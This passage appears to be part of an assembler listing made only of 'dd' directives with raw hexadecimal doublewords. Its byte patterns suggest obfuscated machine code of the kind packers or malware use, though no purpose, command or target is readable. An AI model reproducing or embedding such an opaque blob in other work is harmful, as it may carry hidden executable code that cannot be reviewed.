		dd 0D2000000h, 3B7A5886h, 0AEDDA1DFh, 7599D892h, 5A7F51EEh
		dd 0E8E1F264h, 0Dh, 23EB6A2Ah, 2266B130h, 0EA812ECBh, 0BE84Fh
		dd 0FB270000h, 308E5F40h, 0F1EED5F2h, 92CB81BDh, 5A665F36h
		dd 0A3F1805Fh, 0DE9h, 2B388200h, 8F7EDA2h, 0F0486254h
		dd 665721B9h, 0E81BE681h, 0AE859h, 0C5FA0000h, 42AF8BC0h
		dd 0F0C4726Eh, 5FEDD980h, 5382BE66h, 12E9h, 72154800h
		dd 0EF43FD19h, 0E0838803h, 80C74355h, 604DFB12h, 38D0Fh
		dd 0B70F0000h, 0AE8FAh,	0C08A0000h, 0CC1331E6h,	0A1D62B1Ch
		dd 890Fh, 615A0000h, 890FEF8Ah,	5, 246F54B8h, 14E87Ch
		dd 6FEF0000h, 0A81B18CEh, 2DE42156h, 0EF3C1C6Fh, 29E9C702h
		dd 13E80101h, 0EF000000h, 0DFC05924h, 9E8C06DCh, 0B61C09A9h
		dd 1E11E6A0h, 0F78B7546h, 0E5805F5Bh, 0EE977h, 0B7060000h
		dd 0F1A20792h, 0B89C8AA9h, 0CF8F0267h, 81D8BF0Fh, 0A82255DFh
		dd 0D2F9BE58h, 0EE8101C2h, 445C2D20h, 14E8h, 9A348400h
		dd 0D7DB87A3h, 0B7CED4C2h, 9B7A34Ah, 2D9A06C2h,	28E0FD5h
		dd 0B2000000h, 0BAF55FCAh, 21FC4DEFh, 5FE28166h, 9759BAAAh
		dd 9E846C4h, 48000000h,	935E0FC2h, 13BBFF21h, 7E85BF8h
		dd 52000000h, 0BEE167EDh, 13E87610h, 0EE000000h, 0D2FD394h
		dd 0F1CCD6CCh, 6C33A553h, 60E45EA6h, 0F58057DDh, 8B595F49h
		dd 0BE8F7h, 0F1FB0000h,	3D0AF920h, 0E49373CBh, 0D9B70F47h
		dd 0ECE68058h, 0FF6B70Fh, 289h,	6628B500h, 2EB4D781h, 12E960h
		dd 4F810000h, 155461BFh, 13D06726h, 9F9D737Dh, 24C1087Ah
		dd 0C59252BFh, 860F6148h, 8, 880F50h, 5E000000h, 14E9h
		dd 1FF1E000h, 0ED5FB511h, 6DB4BCD2h, 4C92BAD8h,	0B5DA51A3h
		dd 0C2C880CAh, 6660D88Bh, 870FF28Bh, 2,	0E8615F50h, 8
		dd 0C9FDEF9Dh, 27949252h, 5810Fh, 0B1BF0000h, 5A5A7E4Dh
		dd 2880Fh, 5B520000h, 8B87DF80h, 8E0FC2h, 8A000000h, 8E9DEh
		dd 61580000h, 8A38FBFFh, 14E96E45h, 0A5000000h,	7213CF07h
		dd 0FD9647F7h, 0A6190D2Ah, 0AF1F4FE1h, 0FE60716h, 0F8Ch
		dd 0AE900h, 806C0000h, 0DA833A01h, 2393401Fh, 0C7F38166h
		dd 0BFE18A3Ch, 2389F6CCh, 4F6834BAh, 0BF0F5630h, 9E95BFBh
		dd 0FD000000h, 5F634140h, 26A6044Bh, 0FD88B66h,	38Bh, 0D18B6600h
		dd 6B043BBEh, 0DAD38145h, 8B424B72h, 4FE381CAh,	812249E9h
		dd 379D88F3h, 58E0F04h,	0BA000000h, 7D064B6Bh, 0E8D0Fh
		dd 9E90000h, 0B2000000h, 5B56C239h, 0C6B89507h,	0C01CBA66h
		dd 8BD78B66h, 0A3BB66F0h, 0EE8D7h, 2520000h, 0C6A2DA8Ch
		dd 963FECB0h, 96839625h, 11E9h,	74DF2800h, 0E77AAC6Eh
		dd 0FF6967E5h, 0C488AE33h, 0E85AE556h, 8, 0DE486089h, 661A5E24h
		dd 27AAD2BFh, 5360584Ah, 0E85FF98Bh, 7,	872F2DA4h, 0F8B68E7h
		dd 83h,	0F615E00h, 42B9CFBFh, 66472661h, 0E9C39DBFh, 6
		dd 71A91689h, 505780B4h, 8E0Fh,	5E5A0000h, 3ACA8166h, 0F51578Ch
		dd 83h,	0E95E5900h, 6, 40EA5856h, 0C081C1B4h, 3A274548h
		dd 8B66D98Ah, 9E9C2h, 6AC50000h, 0A191715Ch, 0E8F5395Fh
		dd 0Fh,	98E737E8h, 9FE34B3Ch, 0FFFA6720h, 81ACE45Ah, 6FCF4EE6h
		dd 0BF0F5F64h, 0B50FBADBh, 9E87928h, 0F9000000h, 0CFACD916h
		dd 3D054BEEh, 0CCDBB860h, 6160489Fh, 0BA665861h, 8C0F25B5h
		dd 2, 816668B5h, 0F8A71C3h, 280h, 8A8CB000h, 8B6660F5h
		dd 5810FC6h, 66000000h,	149CB81h, 0FF18B61h, 1C8Ah, 0DB816000h
		dd 47648844h, 0FE9h, 8CD000h, 49E0A71Eh, 0F130E34Eh, 217CDDCFh
		dd 10E961h, 5DFD0000h, 66079641h, 0D963FBA8h, 9F2DD4F7h
		dd 0F18B328Ah, 3520D681h, 81666463h, 60AD46E0h,	0FE857h
		dd 22250000h, 0EE4B1908h, 411CC24Fh, 5482FC27h,	8B5A5F3Ch
		dd 0DF8B61DEh, 83BF6660h, 0F61F513h, 686h, 3CCE8100h, 662FC912h
		dd 0D46AC781h, 68D0Fh, 66600000h, 611D3FBFh, 52D3BF0Fh
		dd 3870Fh, 0B70F0000h, 10E85EF2h, 2E000000h, 0E65ED801h
		dd 8CF65BF7h
		dd 0C6F8546Eh, 668D1CEEh, 0F5EF98Bh, 198Fh, 138A0F00h
		dd 0E9000000h, 0Eh, 9CB39FACh, 74BC1273h, 8B982CF5h, 8166ACE7h
		dd 609B4CF2h, 8E8h, 4BBAC300h, 9CFE1CD1h, 0AE9ECh, 2750000h
		dd 79E74E05h, 0F0A31DC6h, 16890F5Bh, 0E8000000h, 10h, 36905507h
		dd 6F8603EDh, 0A91FF9FFh, 0D1C6C5F8h, 8166615Bh, 66B299C0h
		dd 6656C88Bh, 0F9E6D281h, 0F8E2805Bh, 0B840Fh, 880F0000h
		dd 5, 837415B9h, 40B96614h, 5860FF9h, 52000000h, 5FD08B66h
		dd 890Fh, 12E80000h, 0AC000000h, 0D7FD4533h, 237AB0A4h
		dd 0B02ED8F1h, 363CF504h, 0F5AF9F1h, 8Bh, 78B96600h, 0F3816655h
		dd 8D0FA838h, 5, 19EB8166h, 0FCD58A4Eh,	0B7AE0EBBh, 97E0803Ch
		dd 0BE8h, 405A6300h, 0A327CEC4h, 574D4182h, 0F9B70F5Fh
		dd 3860Fh, 0F6800000h, 0B8CCB1DEh, 2900A33Ah, 9B47F7BFh
		dd 0F78B665Ah, 0CA815E52h, 315CC41Eh, 0F1CF8166h, 8B66523Fh
		dd 0FA8B5BF8h, 8BF28B66h, 0C78B66CBh, 0FD6B70Fh, 289h
		dd 60DF8B00h, 3AF68166h, 52F56159h, 0DE85AFCh, 54000000h
		dd 0E79C6712h, 6977DB67h, 3316C32Fh, 18F0Fh, 5FF90000h
		dd 816660FCh, 80A018F7h, 0E861A4E1h, 0Dh, 9DF547ECh, 9B7EB3A1h
		dd 146F55F4h, 228BB50h,	0F5E6B92h, 187h, 8C0FFC00h, 1
		dd 11E9F5h, 0DDDC0000h,	1138083Bh, 0A1351DF8h, 0FE73485Bh
		dd 0FDE9829h, 870FF6B7h, 2, 0B8661BB7h,	0BF0FD49Fh, 0AE9D3h
		dd 0B6CE0000h, 0DA8EE952h, 6167CBCh, 43B8E0BAh,	5E90Bh
		dd 4D6C0000h, 0FAB23D4h, 0D58ADEB7h, 8166FA8Bh,	0E9A1D9C9h
		dd 11h,	6980C482h, 7E636A12h, 6503BACBh, 40884A9Ah, 830F22h
		dd 0B6000000h, 58E0FB2h, 66000000h, 0F7DB81h, 12E9h, 1EFCC300h
		dd 234DD54Bh, 717F0EB2h, 34DAD632h, 529D3600h, 5946EB80h
		dd 5E9h, 9A9E5F00h, 60FCC6D5h, 0BE9h, 60537600h, 75489DB2h
		dd 234ECD7h, 6661C68Ah,	0D881C18Bh, 13B7D163h, 60F0B70Fh
		dd 0BE66CA8Bh, 0E9611837h, 0Eh,	3241E120h, 0C0A1B886h
		dd 0C03D11D7h, 8B668A53h, 890FF0h, 0F5000000h, 4FE78166h
		dd 86B96606h, 815E525Dh, 4FE88E8h, 0F56B73Bh, 0E852CFBFh
		dd 12h,	1AC69C38h, 5FC61BBEh, 0EA62EE74h, 0DA6C6722h, 8CBE9282h
		dd 5A7B9957h, 4830F5Eh,	66000000h, 0E93FA8B9h, 13h, 0B09BFACBh
		dd 3DBCD1EBh, 0CB6DF99Dh, 0A1EC12C3h, 66125EECh, 0DD11E981h
		dd 7CB0CB81h, 0F081150Bh, 38B7CCAAh, 7A07DA81h,	8166508Ah
		dd 0FB1E5D7h, 5AB8FFB7h, 0BA5B2957h, 4B52FA98h,	16890Fh
		dd 11E90000h, 9C000000h, 0C9CE4EBAh, 40360Dh, 16D84942h
		dd 0FDDF27AAh, 0E9CE8B66h, 13h,	23DC6A45h, 0CBA9C0B3h
		dd 0D20702AFh, 0A1418EDEh, 0BA85CB2Fh, 3CC1A19Fh, 118D0Fh
		dd 0CE90000h, 0A7000000h, 6AFCF73h, 13CA892Dh, 509349DFh
		dd 1800Fh, 5AF50000h, 0EEA040BFh, 0D70DBF37h, 8A5154F3h
		dd 880F5FCBh, 4, 0E42DB966h, 0BE9h, 3BA19500h, 6DFECFBCh
		dd 0B116C14Ah, 332131BFh, 0F2B70F04h, 8BC3EE81h, 0E5801C9Fh
		dd 8B665684h, 0CE85AF9h, 19000000h, 75D27C18h, 0E6283D69h
		dd 0FE60869h, 389h, 0D6BF0F00h,	0FCE8B5Ah, 285h, 66D78B00h
		dd 33CCE981h, 0EE9D68Bh, 0F6000000h, 0C654BC72h, 0EFE14682h
		dd 0AD1C0E51h, 11ECBE29h, 2BBA4676h, 0B23290C7h, 6651F8D8h
		dd 5998E5BEh, 2877E381h, 37B90D78h, 602462B8h, 0E4CF8166h
		dd 4BEEB9B5h, 8B616B14h, 9890FD0h, 60000000h, 81665A57h
		dd 61A851E9h, 0FCDA8B66h, 0E66338B9h, 5E1DB807h, 0F1815A16h
		dd 71F0ECEDh, 0FFABF0Fh, 1B8Ch,	0FE800h, 92820000h, 366DD224h
		dd 273D0EE0h, 6D7F9AE8h, 840F01h, 58000000h, 81666060h
		dd 0FE91AC8h, 0B861FFBFh, 74492F50h, 0C38B6661h, 2A6BB66h
		dd 0BA22CD80h, 5F6DBACEh, 0CE9h, 12BF2A00h, 11D81A10h
		dd 0E91D0418h, 8D0FE7h,	8A000000h, 13E9F3h, 99CE0000h
		dd 3F598D53h, 3BB619FDh, 9178C72Bh, 6C63606Ah, 0D78166B6h
		dd 0C181B3E1h, 50483859h, 8BCA8B66h, 0BE9CBh, 60290000h
		dd 0A84B9328h, 0C1ED5C26h, 0C850FD7h, 0F000000h, 684h
		dd 8A0F00h, 0E9000000h,	0Dh, 52189F4Bh,	291C00Bh, 7665A709h
		dd 11E990h, 85AA0000h, 7244AE57h, 0AD435BD2h, 0FBD5C56h
		dd 8B655983h, 0F58060F1h, 880F0Dh, 61000000h, 0E9F8F380h
		dd 12h,	0B13ED15Dh, 184FA404h, 2EA333E2h, 0A62C7B09h, 0BF0F039Eh
		dd 3830FC6h, 80000000h,	0BA528BDCh, 46BB25BBh, 12E859h
		dd 0EE3C0000h, 0ABAA0FAh, 0C2F8E0B0h, 1350905Fh, 0D2085FDh
		dd 61D68B60h, 0F10B55Ah, 686h, 31F08100h, 803E6529h, 8B6645C4h
		dd 0C38166F2h, 0F603843h, 0E8Dh, 9E900h, 5A9D0000h, 0F6E7857Ah
		dd 0E892BCB0h, 13h, 7D5D012Dh, 0BCDFE0ADh, 0CBD45533h
		dd 0A3C25428h, 0E89CDD2Fh, 0Ah,	0CC7D62B3h, 22544826h
		dd 5A58CAA1h, 2850F61h,	8A000000h, 2EC981CCh, 0F5498366h
		dd 0EE9h, 62DC500h, 0BC65D5B3h,	6564A3F1h, 0FED87D5h, 8Dh
		dd 0C38BF900h, 0A7C3C681h, 0D98B49D7h, 9E9h, 0D8500F00h
		dd 0BF8D1147h, 0FB8B45DFh, 0BE9h, 703CEF00h, 51861D3Bh
		dd 0A4FDC047h, 0C8C0Fh,	820F0000h, 6, 553CB81h,	0BFBA3FA7h
		dd 8A6940A1h, 38D0FE2h,	80000000h, 11E943F0h, 2000000h
		dd 0A78F6AD6h, 50D1B7DBh, 7C7BB96Ah, 53277EA7h,	0CC80E6B7h
		dd 0D1B70FA0h, 8E9D78Bh, 70000000h, 0B1022938h,	80F1B920h
		dd 0E960FFC6h, 10h, 0D6FF261Dh,	1F6F264Dh, 0E727028Fh
		dd 866EEEC8h, 5F616050h, 8166FC61h, 0B7FEA2D3h,	0F1816669h
		dd 14E9E27Ah, 0E8000000h, 66982142h, 7905FFEBh,	0B3704494h
		dd 613E31Fh, 0B687B5C9h, 0FDE8AFAh, 86h, 0BFEB8000h, 5870Fh
		dd 81660000h, 0B93B95EFh, 2384E3C6h, 14E8h, 0ED134000h
		dd 0D804353Eh, 0DC0DBF4Bh, 0C35560ACh, 0E4FB4B34h, 0D0BF0F2Fh
		dd 18840F5Eh, 0E9000000h, 13h, 99854C9Ch, 7D702E98h, 1E022442h
		dd 0C7BDE4B1h, 0F2BBEAAh, 0D86h, 8E900h, 78370000h, 26B3E9E1h
		dd 0C380E8A5h, 0EE9803Dh, 344DF181h, 11E8052Eh,	7E000000h
		dd 13C697BEh, 0AF07C51Bh, 0B278920Eh, 4DECBE05h, 0DE8h
		dd 96F0BF00h, 2C8806A0h, 5CB3DFBDh, 50BB79E8h, 5F6ADD06h
		dd 0F9FE8A59h, 12E8h, 97990A00h, 0ED9450FBh, 0C0948569h
		dd 0D67A1580h, 667137D2h, 7685F781h, 96F1B95Ah,	0BE663837h
		dd 0D18B493Ah, 0F8B70F60h, 3497E081h, 606161F0h, 58C0Fh
		dd 81660000h, 0FBE20C6h, 282h, 615F5100h, 7E9h,	4F576C00h
		dd 0F7B62DB5h, 108F0Fh,	0BE90000h, 0BB000000h, 8D23F6A8h
		dd 6C60CD29h, 820FCD3Dh, 1Ch, 16890Fh, 10E80000h, 4E000000h
		dd 1F1FBFCDh, 0F85BB1BFh, 36A7C4B7h, 596440BAh,	0CE8h
		dd 0B393D000h, 98C8A130h, 0E8199737h, 0EBEDBF2Ch, 565B3568h
		dd 5E6CE180h, 0DE8h, 4DBB4100h,	9122A4B9h, 1637410Ch, 0BF0F7D9Fh
		dd 7BF5BF2h, 661B7C1Bh,	0FBDC4B9h, 880h, 28F0F00h, 60000000h
		dd 8D0F6061h, 0
		dd 0FA8BFC61h, 0BF3DCC80h, 512A1870h, 58A0F60h,	66000000h
		dd 9917CB81h, 0A2E2BF66h, 5BF85061h, 5860Fh, 8AB90000h
		dd 0F51284D9h, 0BE9h, 678E8C00h, 1C83A408h, 0E8A88DF0h
		dd 0DE9h, 69D46300h, 4CA3993Eh,	0CAC71D42h, 8B667961h
		dd 74EF80F9h, 81FABF0Fh, 0EEA8DDEh, 23D6816Ch, 0E87FA87Ch
		dd 0Fh,	413E61C9h, 0CF50DC71h, 0DB709CC2h, 0B928681Eh
		dd 20B36E55h, 8BAFB55Eh, 0CFBF0FF3h, 89AEB966h,	11E8h
		dd 0FBE53300h, 8858548Eh, 0F39ED65Eh, 0BAB2974Ah, 0FE93704h
		dd 50000000h, 21215D1Dh, 0B806503Dh, 0D23AF621h, 8B5FADD3h
		dd 0DE9CFh, 365E0000h, 3307D993h, 412BADB6h, 0E9A4B554h
		dd 8, 0EA2DA14Fh, 79A163C3h, 0E9FBBF0Fh, 5, 53678D6h, 0EE87Ah
		dd 291F0000h, 1426F0AFh, 0FD63FF19h, 1B2B0FD5h,	80D78B5Bh
		dd 0BE865C2h, 5D000000h, 0C764F59Ch, 701A386Bh,	14E8BE49h
		dd 7E000000h, 7E813A0Fh, 16AC8A59h, 40EF6AB6h, 0A1BE8043h
		dd 8BCB2C0Eh, 665A5AD6h, 0D381FE8Bh, 1610DABAh,	31F38166h
		dd 0FEB70FC6h, 118D0Fh,	0CE90000h, 0C000000h, 482A763Fh
		dd 56E02E88h, 0F1DB1A9h, 384h, 0C2BF0F00h, 66CABF0Fh, 0F990CABFh
		dd 14850Fh, 0FE90000h, 86000000h, 0A7A37A30h, 210CF12Fh
		dd 0F8B6042h, 0DE9F981h, 0D8000000h, 80008EEFh,	0D4936355h
		dd 0B05BE999h, 0E960C28Bh, 12h,	779E32C9h, 6BC8DAB2h, 33948E3Bh
		dd 1E8942Dh, 10E8C8D2h,	0FE000000h, 7107B7E1h, 0C775B8AAh
		dd 0A6979ED2h, 66A58DC7h, 6158FA8Bh, 0D8F0Fh, 8E90000h
		dd 0A1000000h, 8F255D9h, 0F7777C9h, 810FD1BFh, 0
		dd 4852BB66h, 58F0Fh, 81660000h, 607EC9C7h, 13E9h, 7C70A700h
		dd 7D3108CAh, 5C1C8F59h, 0CF4B4863h, 87D89017h,	4794BE66h
		dd 6E961h, 83970000h, 0A2CF3061h, 0B9B96653h, 0D0815FF4h
		dd 45FD8D51h, 0C4C28166h, 23B86626h, 0E2816692h, 5260533Eh
		dd 66596160h, 0A4F0E081h, 8E95261h, 7D000000h, 601CD3F3h
		dd 5887CAE5h, 0B866DA8Bh, 66B4A46Dh, 0D88B952h,	665F2998h
		dd 8D93D081h, 64B829B0h, 806B3F29h, 14E977CEh, 2B000000h
		dd 94847FBBh, 31233A21h, 9498CF06h, 6CD88F55h, 8A2F78D5h
		dd 2ED981DAh, 565D09FFh, 58D38B56h, 0F6BF0F5Fh,	9860Fh
		dd 800F0000h, 3, 66D38B66h, 0EA81D98Bh,	0F27A481h, 0DBF28166h
		dd 8160603Dh, 0F88F8AC6h, 810F14h, 61000000h, 0C045BE66h
		dd 5372B861h, 6E9088Dh,	98000000h, 45E053F6h, 0BE84Ch
		dd 651C0000h, 1688801Dh, 87E0C55Ah, 9FB8668Eh, 0B70F5ACEh
		dd 5E9F9h, 0C8E00000h, 6675DA91h, 0B7D6A8BFh, 0D881B898h
		dd 0EE96169h, 0F9000000h, 0D647B7A1h, 332D20E5h, 0BB35AF54h
		dd 148F0F11h, 0E9000000h, 0Fh, 8BD20210h, 0F8E68911h, 16514798h
		dd 0F28AAC1h, 285h, 80F08B00h, 8D0FA0DAh, 3, 66D9B70Fh
		dd 0F89077B8h, 0B70F38B0h, 0FE8D1h, 56AC0000h, 3B73F31Dh
		dd 0EB71F636h, 772531C0h, 5ED78B03h, 6AC18166h,	0B53DBA51h
		dd 7E9474Fh, 86000000h,	93D69D08h, 35B49A79h, 8B66F38Ah
		dd 0D0BF0FDAh, 5836D381h, 0F5604306h, 0A173C081h, 0F614CE7h
		dd 8A0FD0B7h, 0
		dd 0C870Fh, 850F0000h, 6, 8F0Fh, 8A0F0000h, 3, 66CE8B66h
		dd 0F08AFE8Bh, 66573CB1h, 0DF96D381h, 0E82AB65Fh, 0Ah
		dd 38C01C33h, 0F0091599h, 6658F1F0h, 39B8C781h,	10E9h
		dd 3B363600h, 0B80495ABh, 51F090BFh, 0FD232689h, 0B6B96615h
		dd 0EE9E7h, 0C310000h, 0D24675E1h, 70CD39C7h, 1DD4A7C2h
		dd 0EF65EF81h, 66564B1Ah, 0D6EF081h, 13860F5Fh,	0E9000000h
		dd 0Eh,	0E2133F0Fh, 4AA8DF2Ch, 8F354BBEh, 0F853E0B8h, 0A3BAF55Bh
		dd 0E97B6F67h, 6, 4733C637h, 0BF601642h, 0ECFE5FFh, 0EE02F281h
		dd 0BB6154A8h, 3C91C420h, 58D0Fh, 9ABB0000h, 6644ADA8h
		dd 900BF381h, 98F6E681h, 0EF814D56h, 2B976064h,	2870Fh
		dd 0DA8B0000h, 81665AB6h, 0BADC67E9h, 7D7C75CDh, 8D0F4CB3h
		dd 4, 0F03EBF66h, 0F0816656h, 0E958D82Ch, 10h, 0EE6834E2h
		dd 10C829CEh, 0DE857B90h, 0BBD72ADFh, 0BA66FE8Bh, 0B70FEAD8h
		dd 0AE9FBh, 0E5290000h,	271A1949h, 0B442ED0Fh, 10E960h
		dd 2CA90000h, 2D593BECh, 1ADF0E52h, 0C7587ADh, 8B660D65h
		dd 0FF861DAh, 38Ah, 61F86000h, 0FC88B66h, 486h,	0CEBE6600h
		dd 28D0F63h, 8B000000h,	0F28166DAh, 0F5257B8h, 281h, 595F5300h
		dd 0F5F7B70Fh, 0BE9h, 0C7AAB600h, 5A524181h, 0D5B68BB9h
		dd 3830F60h, 66000000h,	0B261FA8Bh, 0CEB70FE0h,	0CF4BF66h
		dd 8BD3C080h, 0B5BE66C2h, 68ABFBAh, 8B0F0C5Eh, 3, 0BA76E280h
		dd 2BCECFC1h, 2BBB57B3h, 660C4043h, 0C9C2C981h,	0E537D0BEh
		dd 0EF81666Bh, 6E82A37h, 4C000000h, 8FA9DC78h, 0E7D380ECh
		dd 0CF81605Eh, 79FB0B51h, 0DE8h, 0D08FDD00h, 5F0B1F8Bh
		dd 0A9CF9D63h, 0D18B90C8h, 0F51615Ah, 178Ah, 12E900h, 43B50000h
		dd 865B6767h, 558EAA77h, 0EBB1EFC1h, 8D895680h,	53CE8B58h
		dd 870F51h, 5B000000h, 0F60605Ah, 5A53D9B7h, 6800F61h
		dd 0F000000h, 84h, 8B0F6100h, 7, 0C7816652h, 0F59D569h
		dd 1B82h, 15840F00h, 0E8000000h, 0Fh, 0AAA83F9Eh, 0A81148D9h
		dd 0C73BC27Ch, 58E0BF48h, 0AE9F78Bh, 0AF000000h, 0EE229B7Ch
		dd 0FC7EDAC0h, 0BE66F58Bh, 0F603EDFh, 68Bh, 1EC78100h
		dd 616829A0h, 8880Fh, 840F0000h, 2, 6E9DE8Bh, 30000000h
		dd 0D7FE796Fh, 0F9B70F2Fh, 6E9DA8Ah, 36000000h,	70BC2E8Ch
		dd 890FF5BBh, 3, 808AF380h, 81663EC1h, 8139D7D9h, 9BFD8D8h
		dd 2830F61h, 0B0000000h, 0FE935h, 0B4FA0000h, 39AC03B3h
		dd 3B2063F4h, 745EF6EDh, 3AD9811Fh, 664DF56Ch, 0D98BF08Bh
		dd 23F18153h, 596263F8h, 0F77F580h, 8BF8F7BFh, 8B6660CBh
		dd 14E960C7h, 19000000h, 52B355D0h, 0FE6A644h, 259342B2h
		dd 0A5C28E41h, 8B335C4Ch, 0BA6161D7h, 569BA1A7h, 0BFF1BF0Fh
		dd 33F004CEh, 0BDDFF781h, 0E081561Eh, 51447637h, 0CE9h
		dd 33870B00h, 0C8539E36h, 0CC0E816Ah, 870F5689h, 6, 8F0Fh
		dd 8A5A0000h, 28D0FFAh,	8B000000h, 0F5D48ADEh, 66D2BF0Fh
		dd 0E8ABF2B9h, 8, 7CE64F6h, 686C9D6Eh, 5879B453h, 3AB9665Bh
		dd 5AF78149h, 66114819h, 6683E2B8h, 551BC281h, 8BD08166h
		dd 12E9CBh, 9BB0000h, 5F5FD72Eh, 0C27EC857h, 5D7AC2B5h
		dd 0B0400628h, 12E8h, 2265DB00h, 7AC843C8h, 0A594280Bh
		dd 0AB9FB2Eh, 0E97036FDh, 0Dh, 0AFB719DCh, 64BE4DFEh, 71145E16h
		dd 11E95839h, 0AF000000h, 179E521Dh, 5BBE5A99h,	502012AFh
		dd 88F49043h, 6060D68Bh, 0E861D1B1h, 12h, 0A57B70FCh, 0AD77CFABh
		dd 0F4D40022h, 230BB31Ch, 0BF0F1490h, 0F6159C2h, 0E781FEBFh
		dd 1261D7C8h, 5B78B353h, 0D3BE6660h, 2890F50h, 8A000000h
		dd 6E861E8h, 67000000h,	0C6EBDFA5h, 0B0BE662Fh,	0E0805ED3h
		dd 0BE86035h, 82000000h, 0E7011776h, 522FF2F2h,	0CE97888h
		dd 0AB000000h, 2DA4B251h, 68E7872Fh, 590D978Bh,	0E961DA8Bh
		dd 0Eh,	2BEE6F0Fh, 0B6ADA348h, 509BDA77h, 0CE8C8F4h, 0CF000000h
		dd 0C06E8093h, 0EDFE4F5Ah, 0E897F83Bh, 0Ch, 782B3EEBh
		dd 0C7421E35h, 0FE49B0A9h, 58C0ED80h, 38B0F5Bh,	0F000000h
		dd 880FF0BFh, 3, 66F2B70Fh, 0AFA4D281h,	0FC7BF0Fh, 0FE8F7B7h
		dd 8B000000h, 8E7B4329h, 0B24DAAD4h, 740FD888h,	0F780B8DEh
		dd 14E85F33h, 0AF000000h, 8D77AFA6h, 0A7E6CE55h, 600648B8h
		dd 0FBB8502Fh, 537D24D3h, 585F1FB1h, 73CB98B8h,	8E96Bh
		dd 0EC280000h, 29622717h, 11E8F8B4h, 0B8000000h, 3EB02807h
		dd 0E75C4002h, 0B51BE3A7h, 7939DBA1h, 9E9h, 0E5A6E500h
		dd 81F75CF0h, 805AA711h, 0FE8BD5C2h, 88D0Fh, 0F560000h
		dd 8Ch,	9BB85900h, 0B26A715Ch, 5E9C4h, 15FC0000h, 0F8D709Eh
		dd 18Ah, 0BF0FF900h, 148A0FFAh,	0E9000000h, 0Fh, 0EAD92CE4h
		dd 6427F937h, 625378E9h, 528C51DDh, 0D08B6658h,	60CE8B66h
		dd 0CE78166h, 0D6B16178h, 0FCBBF0Fh, 18Ah, 5B53F500h, 14E960h
		dd 0E9F40000h, 15A9D228h, 0D397A1D9h, 0CC37C740h, 32D8B560h
		dd 6E987F7h, 0B6000000h, 83D55993h, 820F615Fh, 1, 0FF08BFCh
		dd 88Ch, 0C3815600h, 7597C166h,	0C4BF6658h, 4B96614h, 0DB8166E7h
		dd 0B70FC675h, 0FC2B3CBh, 287h,	50CE8B00h, 8B5FCBB6h, 6495B8F7h
		dd 8E83043h, 77000000h,	3B556841h, 669761C0h, 0E95FDF8Bh
		dd 11h,	71F94985h, 185C8364h, 19DDDA69h, 2DCBF7D6h, 66D88BFCh
		dd 800FD78Bh, 1, 37BB66F9h, 13E852F1h, 0CF000000h, 7ACE21E0h
		dd 9DA59DD1h, 0CE3BAB11h, 7B4D3DECh, 0BB6635A0h, 595E92EEh
		dd 4800Fh, 0B8660000h, 8B6647ECh, 12E9C1h, 844C0000h, 0EF014F03h
		dd 94290271h, 0B4330D74h, 0E05BB98Ah, 48513BBBh, 0E8F08A2Eh
		dd 9, 7397416Ch, 0D6E7A5BFh, 6E945h, 397E0000h,	74DC3586h
		dd 8F0FF85Bh, 5, 0D9DBF6B8h, 0CFBAF928h, 6628F8C3h, 0F1FCDB81h
		dd 9CB4C58Ah, 5E8AB157h, 0C40DB866h, 0FE9h, 254CBC00h
		dd 0EA7B9F24h, 70028E81h, 3B483341h, 48BB966h, 0F2BF0F60h
		dd 30D68166h, 8B666144h, 35EB8D7h, 0EFB16E90h, 0F08BF88Ah
		dd 0AD77F681h, 0EF807163h, 57535108h, 0E9585A59h, 0Ah
		dd 0A68B4967h, 0B98452F3h, 0CE8B578Dh, 14E9h, 22DB5400h
		dd 8D6829AEh, 9596EF10h, 0B6EB2FC1h, 195246F5h,	148C0F1Dh
		dd 0E9000000h, 0Fh, 0A652B552h,	0D355F054h, 3BA8A69Eh
		dd 0BE74C315h, 0DB1F7C0h, 13E8h, 0EDB11900h, 0EA675004h
		dd 46A25AB5h, 4048D281h, 84194BE2h, 5B79D180h, 60D9B70Fh
		dd 7BEF8166h, 0AE8EAh, 8C420000h, 0FD98B9Ah, 482BEE6Fh
		dd 615BCB8Ah, 0D08B66F9h, 38C0FF9h, 51000000h, 870F5BF8h
		dd 0
		dd 0D381F88Bh, 74C785BBh, 66F3BF0Fh, 66B1EFBFh,	23C1D381h
		dd 9E9h, 0C686F800h, 3D063FDCh,	7E81DEFh, 5E000000h, 0CBD6C508h
		dd 0DA8BEC52h, 12E85Ah,	2DB00000h, 0C2C04603h, 0A9CBE3D7h
		dd 0ACF28DCh, 78DC19B3h, 14E95BFCh, 45000000h, 237F3031h
		dd 3285D7E4h, 4F1D7A82h, 6B653A7Bh, 6610BAE6h, 8B66CE8Bh
		dd 0FDF8BD3h, 681h, 74F78100h, 8072B4BDh, 8B0F02F3h, 3
		dd 81D9BF0Fh, 274184DFh, 0F98B6075h, 0F2816661h, 66FC30EAh
		dd 17E9D981h, 9E8565BFh, 0EA81666Ch, 81663264h,	666F32D7h
		dd 810F2AB9h, 41B83AC6h, 8160606Dh, 936FACEBh, 8D0F73h
		dd 61000000h, 61DFBF0Fh, 6860Fh, 8B600000h, 615B50CEh
		dd 0FFAB70Fh, 581h, 0D7816600h,	0B866BCA3h, 840FBFF4h
		dd 15h,	10E9h, 2AD75300h, 1553219Fh, 5A83BA4Bh,	6137C2E0h
		dd 0F24B65Ch, 488h, 0C38B5600h,	0D1816659h, 19BAEDC6h
		dd 6060A55Fh, 0E8CB8B61h, 14h, 6784F0BDh, 889AF3EEh, 0CC9CDEB0h
		dd 0EC6F7DD7h, 7D97FBECh, 6E85EF8h, 3000000h, 0AA18874Ah
		dd 800F6029h, 0
		dd 67E88166h, 805B61B4h, 0F580C2DAh, 890F60B4h,	2, 0BE85B53h
		dd 0FC000000h, 0F0FDF483h, 99AD4C44h, 13E8E0F0h, 0E3000000h
		dd 34164AF0h, 2285473Ch, 0DF317A8h, 200594C8h, 5959D88Dh
		dd 0DE96061h, 0BA000000h, 139C53D2h, 0D673A089h, 41D68B99h
		dd 10A5B966h, 71F28161h, 6617588Bh, 25CEEB81h, 3D16F281h
		dd 830F62B3h, 1, 8E9FCh, 95640000h, 0EBDC32C7h,	42B9694Dh
		dd 661E0C0Fh, 0DE8CE8Bh, 8B000000h, 80596457h, 0BFDD38F4h
		dd 0E801DE6Fh, 8B66F55Fh, 7E51BED9h, 66FC54DBh,	4372C881h
		dd 0E9C8B70Fh, 0Bh, 9D1B4B94h, 0CE9EEB77h, 66EE6119h, 0BB66DF8Bh
		dd 0E9515D1Fh, 6, 0C63DE782h, 0E95EDB99h, 7, 7A79B36Ah
